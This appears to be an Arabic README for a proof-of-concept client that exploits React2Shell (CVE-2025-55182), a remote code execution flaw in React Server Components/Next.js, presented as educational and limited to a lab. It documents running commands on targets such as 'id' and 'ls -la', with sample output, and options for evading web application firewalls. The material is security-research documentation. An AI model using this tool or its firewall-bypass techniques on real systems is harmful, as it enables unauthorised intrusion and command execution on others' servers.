
كشف دقيق لثغرات تنفيذ التعليمات البرمجية عن بُعد في RSC/Next.js (CVE-2025-55182, CVE-2025-66478)
# ماسح React2Shell – مع إثبات المفهوم (PoC)
> **CVE-2025-55182 – إثبات مفهوم لاستغلال ثغرة RCE في مكونات خادم React**
> عميل استغلال تعليمي لمختبر Hidden Investigations React2Shell.
يحتوي هذا المستودع على أداة استغلال إثبات المفهوم (PoC) لجهاز واحد لثغرة **[React2Shell](https://react2shell.com/)** (CVE-2025-55182) التي تستهدف تطبيقات **React Server Components / Next.js** غير المهيأة بشكل صحيح.
تم تصميم الأداة لاستخدامها **فقط** ضد مختبر **[Hidden Investigations React2Shell lab](https://github.com/hidden-investigations/react2shell-vulnlab.git)** الرسمي أو الأنظمة التي تمتلكها أو تديرها بشكل صريح.
---
## ⚠️ إخلاء مسؤولية قانوني وأخلاقي
هذا المشروع مقدم **بشكل صارم للبحث الأمني التعليمي والدفاعي**:
- استخدم هذه الأداة فقط على:
- مختبر **Hidden Investigations React2Shell lab** الرسمي، أو
- الأنظمة التي تمتلكها أو لديك **إذن كتابي صريح** لاختبارها.
- **لا** توجهها إلى مواقع عشوائية أو أنظمة إنتاج أو بنية تحتية لا تتحكم فيها.
- المؤلفون و Hidden Investigations **لا يتحملون أي مسؤولية** عن سوء الاستخدام أو الضرر.
باستخدام هذه الأداة، فإنك توافق على اتباع جميع القوانين واللوائح المعمول بها.
---
## الميزات
- 🔥 **عميل استغلال React2Shell** لثغرة CVE-2025-55182
- 🎯 **مركز على جهاز واحد** (لا مسح جماعي)
- 📡 دعم **المسارات المخصصة** و**قوائم المسارات**
- 🧪 **وضع الفحص الآمن** (بدون أوامر نظام، مجرد كشف)
- 🪟 **وضع صديق لويندوز** (افتراضيًا `whoami`)
- 🛡️ **مساعدات تجاوز WAF**:
- حقل متعدد الأجزاء غير ضروري (`--waf-bypass`, `--waf-bypass-size`)
- تعديل تخطيط Vercel (`--vercel-waf-bypass`)
- 🔐 خيارات TLS (`--insecure`, رؤوس مخصصة)
- 🧾 إخراج JSON (`-o/--output`, `--all-results`)
- 🧘 إخراج **الوضع الصامت** النظيف (مثالي للتوجيه إلى أدوات أخرى)
---
## المتطلبات
- **بايثون**: 3.8+ (تم الاختبار مع Python 3.10+)
- **التبعيات**:
- `requests`
قم بتثبيت التبعيات عبر:
```bash
pip install -r requirements.txt
```
---
## التثبيت
1. استنساخ مستودع Hidden Investigations:
```bash
git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc
```
2. (اختياري لكن موصى به) إنشاء بيئة افتراضية:
```bash
python3 -m venv venv
source venv/bin/activate # على ويندوز: venv\Scripts\activate
```
3. تثبيت المتطلبات:
```bash
pip install -r requirements.txt
```
4. تشغيل الأداة:
```bash
python3 react2shell-scanner.py -h
```
---
## الاستخدام
المساعدة الأساسية:
```bash
python3 react2shell-scanner.py -h
```
تتطلب الأداة **عنوان URL هدف**:
```bash
python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# أو
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"
```
إذا قمت بتشغيلها **بدون** `-t/--target` أو `-u/--url`، فإنها تطبع **رسالة مساعدة تحمل العلامة التجارية** وتخرج.
---
## خيارات سطر الأوامر
### الهدف والمسارات
| الخيار | الوصف | الافتراضي |
|---------------------|------------------------------------------------------------------------|---------------|
| `-t`, `--target` | عنوان URL أو نطاق الهدف (مطلوب ما لم يتم استخدام `--url`) | _لا شيء_ |
| `-u`, `--url` | اسم مستعار لـ `--target` (علامة على نمط Assetnote) | _لا شيء_ |
| `--path` | المسار المراد اختباره (يمكن استخدامه عدة مرات، مثل `/`، `/_next`) | `/` |
| `--path-file` | ملف يحتوي على المسارات المراد اختبارها (مسار واحد في كل سطر) | _لا شيء_ |
> **ملاحظة:** إثبات المفهوم هذا **لجهاز واحد فقط**. خيار `-l/--list` موجود لكنه معطل عمدًا.
---
### سلوك الاستغلال / الحمولة
| الخيار | الوصف | الافتراضي |
|-----------------------------|----------------------------------------------------------------------------------------------|-----------|
| `-c`, `--command` | الأمر المراد تنفيذه على الهدف (عند نجاح الاستغلال) | `id` |
| `--safe-check` | استخدام حمولة SAFE_CHECK (بدون أمر نظام، مجرد سلسلة علامة) | off |
| `--windows` | ضبط الإعدادات الافتراضية للأهداف التي تعمل على ويندوز (مثل استخدام `whoami` عندما يكون الأمر `id`) | off |
| `--waf-bypass` | إضافة حقل متعدد الأجزاء كبير وغير ضروري إلى نص الطلب لتجاوز WAF | off |
| `--waf-bypass-size KB` | حجم الحقل غير الضروري بالكيلوبايت عند استخدام `--waf-bypass` | `128` |
| `--vercel-waf-bypass` | استخدام تخطيط متعدد الأجزاء بديل لتعديل سلوك WAF في Vercel (إثبات مفهوم مبسط) | off |
---
### خيارات HTTP / TLS
| الخيار | الوصف | الافتراضي |
|-----------------------|--------------------------------------------------------------|-----------|
| `--timeout SECONDS` | مهلة الطلب بالثواني | `15` (أو `20` إذا تم استخدام `--waf-bypass` وعدم تعيين مهلة) |
| `-k`, `--insecure` | تعطيل التحقق من SSL (مثل `curl -k`) | off |
| `-H`, `--header` | رأس مخصص، مثل `-H "X-Forwarded-For: 127.0.0.1"` (قابل للتكرار) | _لا شيء_ |
---
### خيارات الإخراج / تجربة المستخدم
| الخيار | الوصف | الافتراضي |
|-------------------------|---------------------------------------------------------------------------------------------------|-----------|
| `-o`, `--output FILE` | كتابة نتائج JSON إلى `FILE` | _لا شيء_ |
| `--all-results` | عند استخدام `--output`، قم بتضمين النتائج **غير الضعيفة** أيضًا | off |
| `-v`, `--verbose` | الوضع المفصل – إظهار حالة HTTP ورأس `X-Action-Redirect` | off |
| `-q`, `--quiet` | الوضع الصامت – يطبع **فقط مخرجات الأمر الطبيعية** عند النجاح | off |
| `--no-color` | تعطيل إخراج الطرفية الملون | off |
مثال الوضع الصامت (مخرجات جميلة متعددة الأسطر):
```bash
python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"
```
المخرجات:
```text
total 12
drwxr-xr-x 1 root root 10 Dec 13 21:13 .
drwxr-xr-x 1 root root 0 Dec 13 21:13 ..
drwxr-xr-x 1 nextjs nodejs 12 Dec 13 21:13 .next
drwxr-xr-x 1 nextjs nodejs 396 Dec 13 21:13 node_modules
-rw-r--r-- 1 nextjs nodejs 733 Dec 13 21:13 package.json
drwxr-xr-x 1 root root 12 Dec 13 19:13 public
-rw-r--r-- 1 nextjs nodejs 5661 Dec 13 21:13 server.js
```
---
### أعلام المسح الجماعي (معطلة عمدًا)
الأعلام التالية موجودة لمحاكاة واجهة سطر الأوامر الخاصة بـ Assetnote، لكنها **غير مطبقة** في إثبات المفهوم هذا تجنبًا لإساءة استخدام المسح الجماعي:
| الخيار | الحالة |
|-----------------|---------------------|
| `-l`, `--list` | **غير مطبق** |
| `--threads N` | **غير مطبق** |
إذا استخدمت `-l/--list`، ستطبع الأداة تحذيرًا وتخرج، مقترحة استخدام `react2shell-scanner` الأصلي من Assetnote للمسح الآمن على نطاق واسع.
---
## أمثلة
تشغيل ضد المختبر المحلي:
```bash
python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"
```
استخدام تجاوز WAF مع حقل غير ضروري أكبر:
```bash
python3 react2shell-scanner.py -t http://localhost:3000 --waf-bypass --waf-bypass-size 256 -c "id"
```
مسارات متعددة على نفس المضيف:
```bash
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next/data -c "id"
```
مسارات من ملف:
```bash
python3 react2shell-scanner.py -t http://localhost:3000 --path-file paths.txt -c "id"
```
وضع الفحص الآمن (بدون تنفيذ أوامر نظام):
```bash
python3 react2shell-scanner.py -t http://localhost:3000 --safe-check
```
إخراج JSON للنتائج إلى ملف:
```bash
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next -c "id" -o results.json --all-results
```
---
## تنسيق إخراج JSON
عند استخدام `-o/--output`، تكتب الأداة مصفوفة من الكائنات مثل:
```json
[
{
"url": "http://localhost:3000/",
"path": "/",
"success": true,
"status": "success",
"output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
"http": {
"status_code": 302,
"headers": {
"X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
"...": "..."
}
}
}
]
```
---
## الشكر والتقدير
- **[Hidden Investigations](https://hiddeninvestigations.net/)** – لنشر مختبر React2Shell التعليمي وعميل إثبات المفهوم.
- **[@sakibulalikhan](https://github.com/sakibulalikhan)** – مؤلف الأداة.
- **Assetnote** – الإلهام لأفكار تجاوز WAF عبر أداة `react2shell-scanner` الخاصة بهم.
---
## الترخيص
هذا المشروع مرخص بموجب **رخصة MIT**. راجع [`LICENSE`](https://github.com/hidden-investigations/react2shell-scanner/blob/main/LICENSE) للحصول على التفاصيل.
📬 تواصل معنا: [[email protected]](mailto:[email protected])